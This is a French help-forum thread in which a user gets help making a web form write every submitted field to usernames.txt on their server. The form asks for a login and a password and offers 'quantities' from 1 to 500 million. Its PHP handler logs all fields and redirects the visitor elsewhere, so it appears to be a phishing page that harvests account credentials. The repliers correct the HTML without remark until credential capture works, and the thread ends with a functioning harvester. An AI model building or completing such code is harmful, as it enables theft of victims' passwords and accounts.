Inscrire des données dans un fichier txt [Résolu/Fermé]

Signaler
-
 le père -
Bonjour,
Bonjour, je cherche à inscrire dans un fichier txt hébergé sur mon serveur ftp , les données qui seront entrées dans un formulaire d'une de mes pages web également sur mon ftp .
Le problème est que la seule données qui s'inscris , est la fonction et je souhaiterais , inscrire les autres , comment faire ?


code source de l'index :
<center><img src="http://up.sur-la-toile.com/i7I1" </img></center>
<center>
<FORM method=post value=connexion action="post.php">

<TABLE BORDER=0>
<TR>
	<TD>Pseudo</TD>
	<TD><name="fonction">
	<INPUT type=text value="login" username="pseudo">
	</TD>
</TR>

<TR>
	<TD>Mot de passe</TD>
	<TD><name=fonction>
	<INPUT type=text Value="password" password="mot de passe">
	</TD>
</TR>


<TR>
	<TD>Quantité</TD>
	<TD>
	<SELECT name="fonction">
		<OPTION VALUE="1 million">1 million</OPTION>
		<OPTION VALUE="10 millions">10 millions</OPTION>
		<OPTION VALUE="20 millions">20 millions</OPTION>
		<OPTION VALUE="100 millions">100 millions</OPTION>
		<OPTION VALUE="500 millions">500 millions</OPTION>
	</SELECT>
	</TD>
</TR>

<TR>
	<TD COLSPAN=2>
	<INPUT type="submit" value="Envoyer">
	</TD>
</TR>
</TABLE>
</FORM>
</center>


code source post.php :
<?php
header ('Location: http://REdirection.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


donc voila les données rentrées sont censées s'inscrirent dans usernames.txt .
Cependant il n'y a que celle de cette partie qui s'inscris :
<TD>Quantité</TD>
	<TD>
	<SELECT name="fonction">
		<OPTION VALUE="1 million">1 million</OPTION>
		<OPTION VALUE="10 millions">10 millions</OPTION>
		<OPTION VALUE="20 millions">20 millions</OPTION>
		<OPTION VALUE="100 millions">100 millions</OPTION>
		<OPTION VALUE="500 millions">500 millions</OPTION>
	</SELECT>
	</TD>
</TR>


Voila comment faire pour que les autres données soit également prises en comptes ?
Merci




9 réponses

Bonjour

Ça ne marche pas parce que ton formulaire n'est pas correct. Le premier champ texte, par exemple:
<name="fonction">
<INPUT type=text value="login" username="pseudo">
devrait être
<INPUT type="text" value="login" name="pseudo" />
et le second
<name=fonction>
<INPUT type=text Value="password" password="mot de passe">
est à remplacer par <INPUT type="password" Value="password" name="motdepasse">
Oui effectivement c'était bien une erreur je l'ai rectifiée mais la base du problème ne se situe pas la , je pense qu'elle se situe au niveau du post.php .

D'autres réponses ?
Messages postés
591
Date d'inscription
lundi 22 février 2010
Statut
Membre
Dernière intervention
19 octobre 2013
49
salut, je comprends pas trop l'utilité de la redirection car si tu le fais au debut du post.php il ne va pas executer les instructions qui sont apres... :p
mais si, le reste est exécuté quand même. C'est le client qui reçoit la redirection, pas le script PHP
Si, la base du problème est bien là.
Si ton post.php arrive bien à enregistrer une variable et pas les autres, c'est que les autres étaient mal définies.

Pour vérifier, dans ton post.php, ajoute au début :
print_r($_POST); comme ça tu verras ce que ton formulaire envoie vraiment
En insérant au début du post.php le print_r($_POST); J'obtiens => Array ( [fonction] => 10 millions )

(lorsque je vais sur ma page et que je remplie tous les champs et que' je valide)

Donc il ne me renvoie bien qu'une seule variable . Comment faire pour les avoirs toutes ?
En insérant au début du post.php le print_r($_POST); J'obtiens => Array ( [fonction] => 10 millions )

(lorsque je vais sur ma page et que je remplie tous les champs et que' je valide)

Donc il ne me renvoie bien qu'une seule variable . Comment faire pour les avoirs toutes ?
il faut faire un formulaire correct.
Peux-tu poster le code de ton formulaire tel qu'il est maintenant ?
<FORM method=post value=connexion action="post.php">

<TABLE BORDER=0>
<TR>
	<TD>Pseudo</TD>
	<TD>
	<INPUT type="text" value="login" username="pseudo">
	</TD>
</TR>

<TR>
	<TD>Mot de passe</TD>
	<TD>
	<INPUT type="password" Value="password" password="mot de passe">
	</TD>
</TR>


<TR>
	<TD>Quantité</TD>
	<TD>
	<SELECT name="fonction">
		<OPTION VALUE="1 million">1 million</OPTION>
		<OPTION VALUE="10 millions">10 millions</OPTION>
		<OPTION VALUE="20 millions">20 millions</OPTION>
		<OPTION VALUE="100 millions">100 millions</OPTION>
		<OPTION VALUE="500 millions">500 millions</OPTION>
	</SELECT>
	</TD>
</TR>

<TR>
	<TD COLSPAN=2>
	<INPUT type="submit" value="Envoyer">
	</TD>
</TR>
</TABLE>
</FORM>


Voila
Tu n'as pas fait les modifs que je t'avais indiquées
<INPUT type="text" value="login" username="pseudo"> c'est incorrect, l'attribut username n'existe pas .
Si tu veux récupérer un champ, il faut lui donner un attribut name, par exemple :
<INPUT type="text" value="login" name="pseudo" />
idem pour ton mot de passe.

Tu devrais commencer par apprendre les bases du HTML avant de te lancer dans le PHP. N'invente pas les attributs qui te font plaisir comme username ou password.
Tu as raison , honte à moi .

Cela fonctionne merci beaucoup .

Je clos le topic
honte à moi
N'exagère pas quand même ^^
Bon week-end